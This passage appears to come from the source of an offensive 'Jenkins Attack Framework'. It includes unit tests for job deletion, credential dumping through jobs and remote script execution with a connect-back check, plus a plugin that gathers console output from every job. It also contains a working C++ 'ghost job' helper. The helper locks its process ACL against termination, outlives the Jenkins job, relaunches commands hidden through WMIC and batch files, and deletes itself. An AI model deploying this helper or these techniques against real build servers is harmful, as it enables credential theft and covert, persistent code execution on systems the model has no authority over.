"-a", user_admin, "-b", "-2"], 166 | [r"Build attempts must be -1 \(for all builds\) or a positive number"], 167 | 1, 168 | ) 169 | 170 | 171 | if __name__ == "__main__": 172 | unittest.main() 173 | -------------------------------------------------------------------------------- /tests/test_DeleteJob.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import unittest 4 | import warnings 5 | 6 | from libs import jenkinslib 7 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 8 | from libs.JAF.plugin_DeleteJob import DeleteJob, DeleteJobParser 9 | 10 | from .configuration import ( 11 | computer_linux, 12 | computer_windows_admin, 13 | computer_windows_normal, 14 | server, 15 | user_admin, 16 | user_bad, 17 | user_noaccess, 18 | user_normal, 19 | user_read_job_access, 20 | user_read_no_job_access, 21 | ) 22 | from .helpers import DummyWebServer, TestFramework 23 | 24 | 25 | class DeleteJobTest(unittest.TestCase, TestFramework): 26 | @classmethod 27 | def setUpClass(cls): 28 | warnings.simplefilter("ignore", ResourceWarning) 29 | 30 | cls.test_job1 = "testDeleteJob" + "".join( 31 | random.choices(string.ascii_letters + string.digits, k=20) 32 | ) 33 | 34 | jenkins_server = jenkinslib.Jenkins( 35 | server, username=user_admin.split(":")[0], password=":".join(user_admin.split(":")[1:]) 36 | ) 37 | 38 | jenkins_server.create_job( 39 | cls.test_job1, "" 40 | ) 41 | 42 | def setUp(self): 43 | warnings.simplefilter("ignore", ResourceWarning) 44 | self.testcommand = "DeleteJob" 45 | self.TestParserClass = DeleteJobParser 46 | self.TestClass = DeleteJob 47 | 48 | def test_invalid_url(self): 49 | """Make sure that calling with invalid url fails gracefully""" 50 | 51 | self.basic_test_harness( 52 | [ 53 | "jaf.py", 54 | self.testcommand, 55 | "-s", 56 | "https://127.0.0.1:59321/", 57 | "-a", 58 | user_bad, 59 | self.test_job1, 60 | ], 61 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 62 | 1, 63 | ) 64 | 65 | def test_valid_url_bad_protocol(self): 66 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 67 | 68 | with DummyWebServer(): 69 | self.basic_test_harness( 70 | [ 71 | "jaf.py", 72 | self.testcommand, 73 | "-s", 74 | "https://127.0.0.1:59322/", 75 | "-a", 76 | user_bad, 77 | self.test_job1, 78 | ], 79 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 80 | 1, 81 | ) 82 | 83 | def test_valid_url_and_protocol(self): 84 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 85 | 86 | with DummyWebServer(): 87 | self.basic_test_harness( 88 | [ 89 | "jaf.py", 90 | self.testcommand, 91 | "-s", 92 | "http://127.0.0.1:59322/", 93 | "-a", 94 | user_bad, 95 | self.test_job1, 96 | ], 97 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 98 | 1, 99 | ) 100 | 101 | def test_valid_jenkins_invalid_creds(self): 102 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 103 | 104 | self.basic_test_harness( 105 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad, self.test_job1], 106 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 107 | 1, 108 | ) 109 | 110 | def test_valid_jenkins_anonymous_creds(self): 111 | """Make sure that calling with valid jenkins (but no creds)""" 112 | 113 | self.basic_test_harness( 114 | ["jaf.py", self.testcommand, "-s", server, self.test_job1], 115 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 116 | 1, 117 | ) 118 | 119 | def test_valid_jenkins_valid_unprivileged_creds(self): 120 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 121 | 122 | self.basic_test_harness( 123 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess, self.test_job1], 124 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 125 | 1, 126 | ) 127 | 128 | def test_valid_jenkins_valid_read_no_job_creds(self): 129 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 130 | 131 | self.basic_test_harness( 132 | [ 133 | "jaf.py", 134 | self.testcommand, 135 | "-s", 136 | server, 137 | "-a", 138 | user_read_no_job_access, 139 | self.test_job1, 140 | ], 141 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 142 | 1, 143 | ) 144 | 145 | def test_2_valid_jenkins_valid_normal_creds(self): 146 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 147 | 148 | self.basic_test_harness( 149 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal, self.test_job1], 150 | [ 151 | r"WARNING: Unable to delete the job, attempting secondary clean-up\. You should double check\." 152 | ], 153 | 1, 154 | ) 155 | 156 | def test_3_valid_jenkins_valid_admin_creds(self): 157 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 158 | 159 | self.basic_test_harness( 160 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, self.test_job1], 161 | [r"Successfully deleted the job\."], 162 | ) 163 | 164 | 165 | class DeleteJobParserTest(unittest.TestCase, TestFramework): 166 | def setUp(self): 167 | self.testcommand = "DeleteJob" 168 | self.TestClass = DeleteJob 169 | self.TestParserClass = DeleteJobParser 170 | 171 | def test_no_args(self): 172 | """Ensure that calling with no arguments results in help output and not an error""" 173 | 174 | self.basic_test_harness( 175 | ["jaf.py", self.testcommand], 176 | [ 177 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 178 | r"Jenkins Attack Framework", 179 | r"positional arguments:", 180 | ], 181 | ) 182 | 183 | 184 | if __name__ == "__main__": 185 | unittest.main() 186 | -------------------------------------------------------------------------------- /tests/test_DumpCredsViaJob.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import unittest 4 | import warnings 5 | 6 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 7 | from libs.JAF.plugin_DumpCredsViaJob import DumpCredsViaJob, DumpCredsViaJobParser 8 | 9 | from .configuration import ( 10 | server, 11 | user_admin, 12 | user_bad, 13 | user_noaccess, 14 | user_normal, 15 | user_read_job_access, 16 | user_read_no_job_access, 17 | ) 18 | from .helpers import DummyWebServer, TestFramework 19 | 20 | 21 | class DumpCredsViaJobTest(unittest.TestCase, TestFramework): 22 | @classmethod 23 | def setUpClass(cls): 24 | cls.credential_test_job = "credtest" + "".join( 25 | random.choices(string.ascii_letters + string.digits, k=20) 26 | ) 27 | 28 | def setUp(self): 29 | warnings.simplefilter("ignore", ResourceWarning) 30 | self.testcommand = "DumpCredsViaJob" 31 | self.TestParserClass = DumpCredsViaJobParser 32 | self.TestClass = DumpCredsViaJob 33 | 34 | def test_invalid_url(self): 35 | """Make sure that calling with invalid url fails gracefully""" 36 | 37 | self.basic_test_harness( 38 | [ 39 | "jaf.py", 40 | self.testcommand, 41 | "-s", 42 | "https://127.0.0.1:59321/", 43 | "-a", 44 | user_bad, 45 | self.credential_test_job, 46 | ], 47 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 48 | 1, 49 | ) 50 | 51 | def test_valid_url_bad_protocol(self): 52 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 53 | 54 | with DummyWebServer(): 55 | self.basic_test_harness( 56 | [ 57 | "jaf.py", 58 | self.testcommand, 59 | "-s", 60 | "https://127.0.0.1:59322/", 61 | "-a", 62 | user_bad, 63 | self.credential_test_job, 64 | ], 65 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 66 | 1, 67 | ) 68 | 69 | def test_valid_url_and_protocol(self): 70 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 71 | 72 | with DummyWebServer(): 73 | self.basic_test_harness( 74 | [ 75 | "jaf.py", 76 | self.testcommand, 77 | "-s", 78 | "http://127.0.0.1:59322/", 79 | "-a", 80 | user_bad, 81 | self.credential_test_job, 82 | ], 83 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 84 | 1, 85 | ) 86 | 87 | def test_valid_jenkins_invalid_creds(self): 88 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 89 | 90 | self.basic_test_harness( 91 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad, self.credential_test_job], 92 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 93 | 1, 94 | ) 95 | 96 | def test_valid_jenkins_anonymous_creds(self): 97 | """Make sure that calling with valid jenkins (but no creds)""" 98 | 99 | self.basic_test_harness( 100 | ["jaf.py", self.testcommand, "-s", server, self.credential_test_job], 101 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 102 | 1, 103 | ) 104 | 105 | def test_valid_jenkins_valid_unprivileged_creds(self): 106 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 107 | 108 | self.basic_test_harness( 109 | [ 110 | "jaf.py", 111 | self.testcommand, 112 | "-s", 113 | server, 114 | "-a", 115 | user_noaccess, 116 | self.credential_test_job, 117 | ], 118 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 119 | 1, 120 | ) 121 | 122 | def test_valid_jenkins_valid_read_no_job_creds(self): 123 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 124 | 125 | self.basic_test_harness( 126 | [ 127 | "jaf.py", 128 | self.testcommand, 129 | "-s", 130 | server, 131 | "-a", 132 | user_read_no_job_access, 133 | self.credential_test_job, 134 | ], 135 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 136 | 1, 137 | ) 138 | 139 | def test_valid_jenkins_valid_read_job_creds(self): 140 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 141 | 142 | self.basic_test_harness( 143 | [ 144 | "jaf.py", 145 | self.testcommand, 146 | "-s", 147 | server, 148 | "-a", 149 | user_read_job_access, 150 | self.credential_test_job, 151 | ], 152 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 153 | 1, 154 | ) 155 | 156 | # Swapping order because last test doesn't clean up completely. 157 | def test_valid_jenkins_valid_admin_creds(self): 158 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 159 | 160 | self.basic_test_harness( 161 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, self.credential_test_job] 162 | ) 163 | 164 | def test_valid_jenkins_valid_normal_creds(self): 165 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 166 | 167 | self.basic_test_harness( 168 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal, self.credential_test_job] 169 | ) 170 | 171 | 172 | class DumpCredsViaJobParserTest(unittest.TestCase, TestFramework): 173 | def setUp(self): 174 | self.testcommand = "DumpCredsViaJob" 175 | self.TestClass = DumpCredsViaJob 176 | self.TestParserClass = DumpCredsViaJobParser 177 | 178 | def test_no_args(self): 179 | """Ensure that calling with no arguments results in help output and not an error""" 180 | 181 | self.basic_test_harness( 182 | ["jaf.py", self.testcommand], 183 | [ 184 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 185 | r"Jenkins Attack Framework", 186 | r"positional arguments:", 187 | ], 188 | ) 189 | 190 | 191 | if __name__ == "__main__": 192 | unittest.main() 193 | -------------------------------------------------------------------------------- /tests/test_RunScript.py: -------------------------------------------------------------------------------- 1 | import concurrent.futures 2 | import os 3 | import tempfile 4 | import unittest 5 | import warnings 6 | 7 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 8 | from libs.JAF.plugin_RunScript import RunScript, RunScriptParser 9 | 10 | from .configuration import ( 11 | server, 12 | user_admin, 13 | user_bad, 14 | user_noaccess, 15 | user_normal, 16 | user_read_job_access, 17 | user_read_no_job_access, 18 | ) 19 | from .helpers import DummyWebServer, RemoteFeedbackTester, TestFramework 20 | 21 | 22 | class RunScriptTest(unittest.TestCase, TestFramework): 23 | @classmethod 24 | def setUpClass(cls): 25 | cls.remote_feedback = RemoteFeedbackTester(12345, 50) 26 | f, cls.groovy_script = tempfile.mkstemp(text=True) 27 | os.write(f, cls.remote_feedback.get_script("groovy").encode("utf8")) 28 | os.close(f) 29 | 30 | @classmethod 31 | def teardownClass(cls): 32 | os.remove(cls.groovy_script) 33 | 34 | def setUp(self): 35 | warnings.simplefilter("ignore", ResourceWarning) 36 | self.testcommand = "RunScript" 37 | self.TestParserClass = RunScriptParser 38 | self.TestClass = RunScript 39 | 40 | def test_invalid_url(self): 41 | """Make sure that calling with invalid url fails gracefully""" 42 | 43 | self.basic_test_harness( 44 | [ 45 | "jaf.py", 46 | self.testcommand, 47 | "-s", 48 | "https://127.0.0.1:59321/", 49 | "-a", 50 | user_bad, 51 | self.groovy_script, 52 | ], 53 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 54 | 1, 55 | ) 56 | 57 | def test_valid_url_bad_protocol(self): 58 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 59 | 60 | with DummyWebServer(): 61 | self.basic_test_harness( 62 | [ 63 | "jaf.py", 64 | self.testcommand, 65 | "-s", 66 | "https://127.0.0.1:59322/", 67 | "-a", 68 | user_bad, 69 | self.groovy_script, 70 | ], 71 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 72 | 1, 73 | ) 74 | 75 | def test_valid_url_and_protocol(self): 76 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 77 | 78 | with DummyWebServer(): 79 | self.basic_test_harness( 80 | [ 81 | "jaf.py", 82 | self.testcommand, 83 | "-s", 84 | "http://127.0.0.1:59322/", 85 | "-a", 86 | user_bad, 87 | self.groovy_script, 88 | ], 89 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 90 | 1, 91 | ) 92 | 93 | def test_valid_jenkins_invalid_creds(self): 94 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 95 | 96 | self.basic_test_harness( 97 | ["jaf.py", self.testcommand, "-s", server, "-a", user_bad, self.groovy_script], 98 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 99 | 1, 100 | ) 101 | 102 | def test_valid_jenkins_anonymous_creds(self): 103 | """Make sure that calling with valid jenkins (but no creds)""" 104 | 105 | self.basic_test_harness( 106 | ["jaf.py", self.testcommand, "-s", server, self.groovy_script], 107 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 108 | 1, 109 | ) 110 | 111 | def test_valid_jenkins_valid_unprivileged_creds(self): 112 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 113 | 114 | self.basic_test_harness( 115 | ["jaf.py", self.testcommand, "-s", server, "-a", user_noaccess, self.groovy_script], 116 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 117 | 1, 118 | ) 119 | 120 | def test_valid_jenkins_valid_read_no_job_creds(self): 121 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 122 | 123 | self.basic_test_harness( 124 | [ 125 | "jaf.py", 126 | self.testcommand, 127 | "-s", 128 | server, 129 | "-a", 130 | user_read_no_job_access, 131 | self.groovy_script, 132 | ], 133 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 134 | 1, 135 | ) 136 | 137 | def test_valid_jenkins_valid_read_job_creds(self): 138 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 139 | 140 | self.basic_test_harness( 141 | [ 142 | "jaf.py", 143 | self.testcommand, 144 | "-s", 145 | server, 146 | "-a", 147 | user_read_job_access, 148 | self.groovy_script, 149 | ], 150 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 151 | 1, 152 | ) 153 | 154 | def test_valid_jenkins_valid_normal_creds(self): 155 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 156 | 157 | self.basic_test_harness( 158 | ["jaf.py", self.testcommand, "-s", server, "-a", user_normal, self.groovy_script], 159 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 160 | 1, 161 | ) 162 | 163 | def test_valid_jenkins_valid_admin_creds(self): 164 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 165 | 166 | with concurrent.futures.ThreadPoolExecutor() as executor: 167 | future = executor.submit(self.remote_feedback.got_connect_back) 168 | 169 | self.basic_test_harness( 170 | ["jaf.py", self.testcommand, "-s", server, "-a", user_admin, self.groovy_script] 171 | ) 172 | 173 | self.assertTrue(future.result()) 174 | 175 | 176 | class RunScriptParserTest(unittest.TestCase, TestFramework): 177 | def setUp(self): 178 | self.testcommand = "RunScript" 179 | self.TestClass = RunScript 180 | self.TestParserClass = RunScriptParser 181 | 182 | def test_no_args(self): 183 | """Ensure that calling with no arguments results in help output and not an error""" 184 | 185 | self.basic_test_harness( 186 | ["jaf.py", self.testcommand], 187 | [ 188 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 189 | r"Jenkins Attack Framework", 190 | r"positional arguments:", 191 | ], 192 | ) 193 | 194 | 195 | if __name__ == "__main__": 196 | unittest.main() 197 | -------------------------------------------------------------------------------- /data/cpp/windows_ghost_job_helper.cpp: -------------------------------------------------------------------------------- 1 | //cl.exe -nologo -Gm- -GR- -EHa- -Oi -O1 -Os -GS- -kernel -GR- -MT -Gs9999999 windows_ghost_job_helper.cpp -link -subsystem:windows -nodefaultlib kernel32.lib User32.lib advapi32.lib 2 | #define WIN32_LEAN_AND_MEAN 3 | #include 4 | #include 5 | 6 | extern "C" 7 | { 8 | #pragma function(memset) 9 | void* memset(void* dest, int c, size_t count) 10 | { 11 | char* bytes = (char*)dest; 12 | while (count--) 13 | { 14 | *bytes++ = (char)c; 15 | } 16 | return dest; 17 | } 18 | 19 | #pragma function(memcpy) 20 | void* memcpy(void* dest, const void* src, size_t count) 21 | { 22 | char* dest8 = (char*)dest; 23 | const char* src8 = (const char*)src; 24 | while (count--) 25 | { 26 | *dest8++ = *src8++; 27 | } 28 | return dest; 29 | } 30 | } 31 | 32 | BOOL DenyAccess() 33 | { 34 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); 35 | 36 | SECURITY_ATTRIBUTES sa; 37 | char szSD[4] = "D:P"; // Disable all access (except for privileged users) 38 | sa.nLength = sizeof(SECURITY_ATTRIBUTES); 39 | sa.bInheritHandle = FALSE; 40 | 41 | if (!ConvertStringSecurityDescriptorToSecurityDescriptorA(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL)) 42 | return FALSE; 43 | 44 | if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor)) 45 | return FALSE; 46 | 47 | return TRUE; 48 | } 49 | 50 | BOOL IsElevated() { 51 | BOOL fRet = FALSE; 52 | HANDLE hToken = NULL; 53 | 54 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { 55 | TOKEN_ELEVATION Elevation; 56 | DWORD cbSize = sizeof(TOKEN_ELEVATION); 57 | if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { 58 | fRet = Elevation.TokenIsElevated; 59 | } 60 | } 61 | 62 | if (hToken) { 63 | CloseHandle(hToken); 64 | } 65 | return fRet; 66 | } 67 | 68 | char * GetArgString() 69 | { 70 | static char *cmd = GetCommandLineA(); 71 | 72 | bool flag = false; 73 | 74 | while (*cmd) 75 | { 76 | if (*cmd == L' ') 77 | flag = true; 78 | 79 | if (flag && *cmd != ' ') 80 | break; 81 | 82 | cmd++; 83 | } 84 | 85 | return cmd; 86 | } 87 | 88 | void CreateRandomString(char* randString, int length) 89 | { 90 | const char alphabet[] = { 91 | '0','1','2','3','4', 92 | '5','6','7','8','9', 93 | 'A','B','C','D','E','F', 94 | 'G','H','I','J','K', 95 | 'L','M','N','O','P', 96 | 'Q','R','S','T','U', 97 | 'V','W','X','Y','Z', 98 | 'a','b','c','d','e','f', 99 | 'g','h','i','j','k', 100 | 'l','m','n','o','p', 101 | 'q','r','s','t','u', 102 | 'v','w','x','y','z' 103 | }; 104 | 105 | char * randomData = (char *) HeapAlloc(GetProcessHeap(), 0, 500); 106 | 107 | int j = 0; 108 | char r = 0; 109 | 110 | for (int i = 0; i < length; i++) 111 | { 112 | while (true) 113 | { 114 | r = randomData[j]; 115 | j++; 116 | 117 | if (j == 500) 118 | { 119 | HeapFree(GetProcessHeap(), 0, randomData); 120 | randomData = (char *) HeapAlloc(GetProcessHeap(), 0, 500); 121 | j = 0; 122 | } 123 | 124 | if (r != 0) //Whitening since lots of heap is null bytes. 125 | break; 126 | } 127 | 128 | randString[i] = alphabet[r % (strlen(alphabet) - 1)]; 129 | } 130 | 131 | HeapFree(GetProcessHeap(), 0, randomData); 132 | } 133 | 134 | void LaunchProcess(char *cmd) { 135 | STARTUPINFOA si; 136 | PROCESS_INFORMATION pi; 137 | 138 | GetStartupInfoA(&si); 139 | 140 | si.dwFlags = STARTF_USESHOWWINDOW; 141 | si.wShowWindow = SW_HIDE; 142 | 143 | CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); 144 | } 145 | 146 | void SelfDelete(){ 147 | char self[MAX_PATH]; 148 | DWORD size = 0; 149 | 150 | size = GetModuleFileNameA(NULL, self, MAX_PATH); 151 | 152 | if(size == 0) 153 | return; 154 | 155 | char *cmd = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 50 + size); 156 | 157 | strcpy(cmd, "cmd /S /C \"TIMEOUT /T 4 /NOBREAK >NUL & DEL /Q \""); 158 | strcat(cmd, self); 159 | strcat(cmd, "\"\""); 160 | 161 | LaunchProcess(cmd); 162 | 163 | HeapFree(GetProcessHeap(), 0, cmd); 164 | 165 | ExitProcess(0); 166 | } 167 | 168 | void HandleNonAdmin() { 169 | //Modify ACL's so that only Admin's can terminate us. 170 | DenyAccess(); 171 | 172 | char *cmd = GetArgString(); 173 | Sleep(20 * 1000); //Sleep long enough that Jenkin's job is terminated and no longer trying to kill us our children. 174 | 175 | LaunchProcess(cmd); 176 | SelfDelete(); 177 | } 178 | 179 | bool CreateBatchFile(char *dir, char *cmd, char *&tempBatFile) 180 | { 181 | HANDLE fileHandle; 182 | tempBatFile = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 16 + strlen(dir)); 183 | char *temp = (char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 10); 184 | 185 | int i = 0; 186 | 187 | while (true) 188 | { 189 | CreateRandomString(temp, 9); 190 | 191 | strcpy(tempBatFile, dir); 192 | strcat(tempBatFile, "\\"); 193 | strcat(tempBatFile, temp); 194 | strcat(tempBatFile, ".bat"); 195 | 196 | fileHandle = CreateFileA(tempBatFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); 197 | 198 | if (fileHandle != INVALID_HANDLE_VALUE) 199 | break; 200 | 201 | i++; 202 | 203 | if (i > 5) 204 | return false; 205 | } 206 | 207 | HeapFree(GetProcessHeap(), 0, temp); 208 | 209 | if (!WriteFile(fileHandle, "@echo off\r\nPUSHD \"%~f0\\..\\\"\r\nCALL ", 34, NULL, NULL)) 210 | goto errorclose; 211 | 212 | if (!WriteFile(fileHandle, cmd, strlen(cmd), NULL, NULL)) 213 | goto errorclose; 214 | 215 | if (!WriteFile(fileHandle, "\r\nDEL /Q \"%~f0\" >NUL 2>NUL", 26, NULL, NULL)) 216 | goto errorclose; 217 | 218 | return CloseHandle(fileHandle); 219 | 220 | errorclose: 221 | CloseHandle(fileHandle); 222 | return false; 223 | } 224 | 225 | void HandleAdmin() { 226 | char dir[MAX_PATH]; 227 | 228 | if (GetCurrentDirectoryA(MAX_PATH, dir) == 0) 229 | return; 230 | 231 | char* cmd = GetArgString(); 232 | 233 | char* tempBatchFile = nullptr; 234 | 235 | if (!CreateBatchFile(dir, cmd, tempBatchFile)) 236 | return; 237 | 238 | char* wmic_cmd = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 57 + strlen(tempBatchFile)); 239 | 240 | strcpy(wmic_cmd, "C:\\Windows\\System32\\wbem\\WMIC.exe process call create \""); 241 | strcat(wmic_cmd, tempBatchFile); 242 | strcat(wmic_cmd, "\""); 243 | 244 | LaunchProcess(wmic_cmd); 245 | 246 | Sleep(2 * 1000); 247 | 248 | DeleteFileA(tempBatchFile); 249 | 250 | HeapFree(GetProcessHeap(), 0, wmic_cmd); 251 | HeapFree(GetProcessHeap(), 0, tempBatchFile); 252 | 253 | SelfDelete(); 254 | } 255 | 256 | void WinMainCRTStartup() 257 | { 258 | DWORD dwMode = SetErrorMode(SEM_NOGPFAULTERRORBOX); 259 | SetErrorMode(dwMode | SEM_NOGPFAULTERRORBOX); 260 | 261 | if (IsElevated()) 262 | HandleAdmin(); 263 | else 264 | HandleNonAdmin(); 265 | 266 | ExitProcess(0); 267 | } -------------------------------------------------------------------------------- /libs/JAF/plugin_ConsoleOutput.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import threading 3 | from urllib.parse import urlparse 4 | 5 | import requests.exceptions as req_exc 6 | 7 | from libs import jenkinslib 8 | 9 | from .BasePlugin import BasePlugin 10 | 11 | 12 | class ConsoleOutput(BasePlugin): 13 | """Class for managing ConsoleOutput SubCommand""" 14 | 15 | def __init__(self, args): 16 | super().__init__(args) 17 | 18 | threads = [] 19 | 20 | try: 21 | cred = self.args.credentials[0] 22 | server = self._get_jenkins_server(cred) 23 | 24 | if not server.can_read_jenkins(): 25 | self.logging.fatal( 26 | "%s: Invalid Credentials or unable to access Jenkins server.", 27 | self._get_username(cred), 28 | ) 29 | 30 | jobs = server.get_all_jobs() 31 | 32 | for _ in range(self.args.thread_number): 33 | t = threading.Thread(target=self._get_job_console_output, args=(server,)) 34 | t.start() 35 | threads.append(t) 36 | 37 | for job in jobs: 38 | job["folder"] = urlparse(job["url"]).path[len(self.server_url.path) :] 39 | self.jobs_queue.put(job) 40 | 41 | jobs_exist = False 42 | 43 | for job in jobs: 44 | output = self.results_queue.get() 45 | 46 | if output: 47 | jobs_exist = True 48 | print("----------------------------------------------------------------") 49 | print(output) 50 | print("----------------------------------------------------------------") 51 | else: 52 | print("%s has no builds" % (job["folder"]), file=sys.stderr) 53 | 54 | for _ in range(self.args.thread_number): 55 | self.jobs_queue.put(None) 56 | 57 | if not jobs_exist: 58 | self.logging.fatal( 59 | "%s: No Jobs or Unable to see Jobs on Server.", self._get_username(cred) 60 | ) 61 | 62 | for t in threads: 63 | t.join() 64 | except jenkinslib.JenkinsException as ex: 65 | if "[403]" in str(ex).split("\n")[0]: 66 | self.logging.fatal( 67 | "%s authentication failed or no access", self._get_username(cred) 68 | ) 69 | else: 70 | self.logging.fatal( 71 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 72 | % ( 73 | ( 74 | self.server_url.netloc 75 | if len(self.server_url.netloc) > 0 76 | else self.args.server 77 | ), 78 | self._get_username(cred), 79 | str(ex).split("\n")[0], 80 | ) 81 | ) 82 | 83 | except (req_exc.SSLError, req_exc.ConnectionError): 84 | self.logging.fatal( 85 | "Unable to connect to: " 86 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 87 | ) 88 | 89 | except Exception: 90 | self.logging.exception("") 91 | exit(1) 92 | 93 | def _get_job_console_output(self, server): 94 | while True: 95 | job = self.jobs_queue.get() 96 | 97 | if job is None: 98 | break 99 | 100 | try: 101 | # First, try to get job info to see if there are any builds 102 | job_info = server.get_job_info(job["fullname"]) 103 | 104 | if job_info.get("builds"): 105 | # No builds exist for this job 106 | self.results_queue.put(None) 107 | continue 108 | 109 | # Try to get console output from the last build 110 | console = None 111 | build_number = None 112 | build_attempts = getattr(self.args, 'build_attempts', 3) 113 | include_failed = getattr(self.args, 'include_failed', False) 114 | 115 | # First try lastBuild 116 | try: 117 | console = server.get_build_console_output(job["folder"], "lastBuild") 118 | build_number = "lastBuild" 119 | except jenkinslib.JenkinsException: 120 | # If lastBuild fails, try the most recent build numbers 121 | builds_to_try = job_info["builds"] 122 | if build_attempts > 0: 123 | builds_to_try = job_info["builds"][:build_attempts] 124 | # If build_attempts is -1, try all builds 125 | 126 | for build in builds_to_try: 127 | try: 128 | # Check if we should skip failed builds 129 | if not include_failed: 130 | build_info = server.get_build_info(job["fullname"], build["number"]) 131 | if build_info.get("result") != "SUCCESS": 132 | continue 133 | 134 | build_number = build["number"] 135 | console = server.get_build_console_output(job["folder"], build_number) 136 | break 137 | except jenkinslib.JenkinsException: 138 | continue 139 | 140 | if console: 141 | output = "Job: %s (Build: %s)\n\n" % (job["url"], build_number) 142 | output = output + console 143 | self.results_queue.put(output) 144 | else: 145 | # No console output could be retrieved 146 | self.results_queue.put(None) 147 | 148 | except Exception: 149 | print(job["folder"], "failed") 150 | self.results_queue.put(None) 151 | 152 | self.jobs_queue.task_done() 153 | 154 | 155 | class ConsoleOutputParser: 156 | def cmd_ConsoleOutput(self): 157 | """Handles parsing of ConsoleOutput SubCommand arguments""" 158 | 159 | self._create_contextual_parser( 160 | "ConsoleOutput", "Get Console Output from Jenkins Jobs (including failed builds)" 161 | ) 162 | self._add_common_arg_parsers(allows_threading=True) 163 | 164 | self.parser.add_argument( 165 | "-b", 166 | "--builds", 167 | metavar="", 168 | help="Number of recent builds to try if the last build fails (default: 3, use -1 for all builds)", 169 | action="store", 170 | dest="build_attempts", 171 | type=int, 172 | default=3, 173 | required=False, 174 | ) 175 | 176 | self.parser.add_argument( 177 | "-f", 178 | "--failed", 179 | help="Include console output from failed builds (default: only successful builds)", 180 | action="store_true", 181 | dest="include_failed", 182 | required=False, 183 | ) 184 | 185 | args = self.parser.parse_args() 186 | 187 | self._validate_server_url(args) 188 | self._validate_thread_number(args) 189 | self._validate_timeout_number(args) 190 | self._validate_output_file(args) 191 | 192 | # Validate build_attempts 193 | if args.build_attempts < -1 or args.build_attempts == 0: 194 | self.logging.fatal("Build attempts must be -1 (for all builds) or a positive number") 195 | 196 | return self._handle_authentication(args) 197 | -------------------------------------------------------------------------------- /tests/test_UploadFile.py: 